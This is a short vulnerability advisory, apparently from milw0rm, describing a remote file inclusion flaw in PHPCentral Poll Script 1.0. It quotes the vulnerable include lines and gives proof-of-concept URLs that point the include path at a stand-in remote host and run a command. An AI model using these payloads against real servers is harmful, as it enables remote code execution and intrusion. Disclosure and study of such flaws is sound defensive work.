phpcpoll-rfi.txt

`PHPCentral Poll Script Remote Command Execution Vulnerability  
-----------------------------------------------------------------------  
  
Script : PHPCentral Poll Script  
  
Version : 1.0  
  
Site : http://www.phpcentral.org/scripts.php  
  
Founder : Rizgar  
  
Contact : [email protected] and irc.gigachat.net #kurdhack  
  
Thanks : Kurdish Hackers Clan(Anti Fashist Group :P), PH(HERO) , ColdHackers(nice boys)  
  
d0rk : not d0rk :)  
  
-----------------------------------------------------------------------  
  
Vulnerability details :   
  
  
This vulnerability allows remote attackers to execute arbitrary code on systems with vulnerable installations of the PHPCentral Poll script.   
  
  
------------------------------------------------------------------------  
  
look at poll.php, pollarchive.php  
  
  
poll.php ;  
  
Lines 2,3,4 ;  
  
$folder = "poll"; // Folder in which poll files are -- (default folder is "poll")  
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/functions.php");  
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/config.php");  
  
  
pollarchive.php   
  
Lines : 2,3,4  
  
  
$folder = "poll"; // Folder in which poll files are -- (default folder is "poll")  
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/functions.php");  
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/config.php");  
  
  
PoC :  
  
http://www.example.com/poll.php?_SERVER[DOCUMENT_ROOT]=http://evil.txt?&cmd=id  
  
http://www.example.com/pollarchive.php?_SERVER[DOCUMENT_ROOT]=http://evil.txt?&cmd=id  
  
# milw0rm.com [2007-08-10]  
`